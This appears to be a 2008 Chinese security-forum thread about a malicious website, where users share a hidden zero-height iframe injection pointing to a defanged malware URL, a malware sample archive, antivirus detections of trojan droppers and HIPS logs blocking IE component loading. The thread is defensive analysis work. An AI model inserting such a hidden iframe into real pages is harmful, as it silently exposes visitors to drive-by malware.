毒网

0106

香港红苹果家具有限公司

www.redapple.com.cn

蓝血人

费尔报了。。

冷冷

<iframe src=hxxp://index.htm1.ws/104.htm width=100 height=0></iframe>     
样本4.rar (64.5 KB, 下载次数: 161)

2008-1-11 23:36 上传

点击文件名下载附件   [MD5: E1D2BE D41D8C 777751]
一进去就弹出来了，运行了没有其他动作

ck893210

文件名很有意思rising无视了吗?

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\��4.rar'
C:\Documents and Settings\Administrator\My Documents\
  ��4.rar
    [0] Archive type: RAR
      --> rising545.exe
        [1] Archive type: Runtime Packed
        --> Object
            [DETECTION] Is the Trojan horse TR/Dropper.Gen
            [WARNING]   Infected files in archives cannot be repaired!
    --> wxptdi.sys
        [DETECTION] Is the Trojan horse TR/Drop.Agent.23552
        [WARNING]   Infected files in archives cannot be repaired!
      [WARNING]   The file was ignored!


End of the scan: 2008年1月11日  07:53
Used time: 00:03 min

The scan has been done completely.

      0 Scanning directories
      3 Files were scanned
      2 viruses and/or unwanted programs were found
      0 Files were classified as suspicious:
      0 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      1 Files not concerned
      1 Archives were scanned
      3 Warnings
      0 Notes

醉一生爱妍

2008-01-12 08:50:14    加载库文件      操作:阻止
进程路径:C:\Program Files\Internet Explorer\iexplore.exe
文件路径:C:\Program Files\Common Files\System\msadc\msadco.dll
触发规则:所有程序规则->禁止加载->*\msadco.dll


2008-01-12 08:50:14    加载库文件      操作:阻止
进程路径:C:\Program Files\Internet Explorer\iexplore.exe
文件路径:C:\Program Files\Common Files\System\msadc\msadco.dll
触发规则:所有程序规则->禁止加载->*\msadco.dll


2008-01-12 08:50:15    运行应用程序      操作:阻止
进程路径:C:\Program Files\Internet Explorer\iexplore.exe
文件路径:d:\Program Files\Real\RealPlayer\RealPlay.exe
命令行:/nosplash /hidden
触发规则:所有程序规则->禁止程序->*\RealPlay.exe

冷冷

原帖由 garyyan456 于 2008-1-12 08:50 发表
2008-01-12 08:50:14    加载库文件      操作:阻止
进程路径:C:\Program Files\Internet Explorer\iexplore.exe
文件路径:C:\Program Files\Common Files\System\msadc\msadco.dll
触发规则:所有程序规则->禁止加 ...

原来这个是利用ＩＥ的病毒 ，可是我的ＩＥ被阻止联网了，
怪不得病毒打开ＩＥ时我都不知道他要干嘛？

醉一生爱妍

呵呵，说到底HIPS的规则还是最好用别人的规则然后再经过自己修改的规则才是好的```

我自从装了EQ我就彻底放弃杀软了哈哈

冷冷

原帖由 garyyan456 于 2008-1-12 08:57 发表
呵呵，说到底HIPS的规则还是最好用别人的规则然后再经过自己修改的规则才是好的```

我自从装了EQ我就彻底放弃杀软了哈哈

呵呵，有ｈｉｐｓ的话
杀软作为后备役了

zwl2828

Access to the data has been denied!
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL:  bbs.kafan.cn/attachment.php?aid=182772
Information:  Is the Trojan horse TR/Dropper.Gen